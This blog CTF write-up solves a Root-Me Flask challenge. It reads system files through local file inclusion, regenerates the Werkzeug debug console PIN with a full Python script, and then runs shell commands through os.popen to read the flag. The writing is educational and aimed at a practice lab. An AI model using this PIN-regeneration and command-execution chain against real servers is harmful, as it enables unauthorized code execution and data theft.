← Back
Flask-Development-server | Avishai’s CTF Writeups

Avishai's CTF Writeups

Yalla Balagan! A collection of my CTF writeups and solutions.

View on GitHub

Here I saw this interesting article hacking flask applications, which talks about debug mode which shouldn’t be in production.

Saw, I went to http://challenge01.root-me.org:59085/console, However, we can see we need to supply PIN.

Then, I saw this article hacking the debugging pin of flask, which talks about how to regenerate the PIN.

This script should regenerate the PIN, however, we need to supply input that we need to achieve somehow.

import hashlib
from itertools import chain
from colorama import Fore, Style

username = "web-app" # username, can be found in /etc/passwd
modname = "flask.app" # modname
appname = "Flask" # getattr(app, '__name__', getattr(app.__class__, '__name__'))
path = "/home/web-app/.local/lib/python3.11/site-packages/flask/app.py" # getattr(mod, '__file__', None)

mac = "02:42:ac:10:00:26" # value from /sys/class/net/<device-id>/address
mch_id = "ec81ef37-14b2-4201-827d-f0811d43866a" # value from /etc/machine-id


# Convert MAC address to integer
mac = int("".join(mac.split(":")),16)

probably_public_bits = [username,modname,appname,path]
private_bits = [str(mac), mch_id]

rv = None
num = None
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
	if not bit:
		continue
	if isinstance(bit, str):
		bit = bit.encode("utf-8")
	h.update(bit)
h.update(b"cookiesalt")


if num is None:
	h.update(b"pinsalt")
	num = f"{int(h.hexdigest(), 16):09d}"[:9]

if rv is None:
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = "-".join(
				num[x : x + group_size].rjust(group_size, "0")
				for x in range(0, len(num), group_size)
			)
			break
	else:
		rv = num

print(f"[+] Generated PIN: {rv}\n")

Then, I saw this LFI here: http://challenge01.root-me.org:59085/services?search=/etc/passwd

We need to achieve several things:

  1. username of who started the flask app
  2. modname of the Flask.app (it is always flask.app)
  3. getattr(app, '__name__', getattr (app .__ class__, '__name__')) is Flask
  4. the getattr(mod, '__file__', None) is the absolute path app.py in the flask directory.
  5. the MAC address of the current computer
  6. the machine-id

Let’s achieve them!

1. username of who started the flask app

when checking /etc/passwd we get:

root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin web-app:x:1000:1000:Linux User,,,:/home/web-app:/bin/ash

Here, we can see the Linux user: web-app, this is probably the user who started the app.

2. modname of the Flask.app (it is always flask.app)

Okay, this is always flask.app

3. getattr(app ...)

This is Flask

4. the getattr(mod, ...) is the absolute path app.py in the flask directory.

We can see from the http-headers that it uses Python/3.11.9

I asked chatGPT, and this is what I got:

Global vs. User-specific installation:

Virtual Environments:

Let’s try global:

/usr/local/lib/python3.11/site-packages/flask/app.py

And we get: [Errno 2] No such file or directory: '/usr/local/lib/python3.11/site-packages/flask/app.py'

Okay, let’s try .local, ur user is web-app.

/home/web-app/.local/lib/python3.11/site-packages/flask/app.py

And we get the file! So, the absolute path is:

/home/web-app/.local/lib/python3.11/site-packages/flask/app.py

5. the MAC address of the current computer

To get the MAC address, find out the /proc/net/arp device id and find the mac address by typing the /sys/class/net/<device-id>/address.

when typing /proc/net/arp we get:

IP address HW type Flags HW address Mask Device 172.16.0.1 0x1 0x2 02:42:40:04:82:d0 * eth0

So, devide id is eth0, and then /sys/class/net/eth0/address gives us the MAC address, which is:

02:42:ac:10:00:26

6. the machine-id

As I saw here, werkzeug pentesting: Concatenates data from /etc/machine-id or /proc/sys/kernel/random/boot_id with the first line of /proc/self/cgroup post the last slash (/).

This is what we got for /proc/sys/kernel/random/boot_id

ec81ef37-14b2-4201-827d-f0811d43866a

I asked chatGPT for common places that I can find the machine-id, This is what I got:

/etc/machine-id
/proc/sys/kernel/random/boot_id

When fetching this /proc/self/cgroup we got:

ec81ef37-14b2-4201-827d-f0811d43866a

Attack

So now, let’s insert all to the code, and we get this PIN:

754-279-725

Now, we can simply execute commands like this:

__import__('os').popen('whoami').read()

So, first we want ls -a:

__import__('os').popen('ls -a').read()

Then, we simply execute cat 1b2cba8365de790bbb1e3dabcacdede935745e393288fd48f64b985cb52dad11.txt:

__import__('os').popen('cat 1b2cba8365de790bbb1e3dabcacdede935745e393288fd48f64b985cb52dad11.txt').read()

And getting: RM{B3_C4refull_w1th_fl4sk_d3bug}

Flag: RM{B3_C4refull_w1th_fl4sk_d3bug}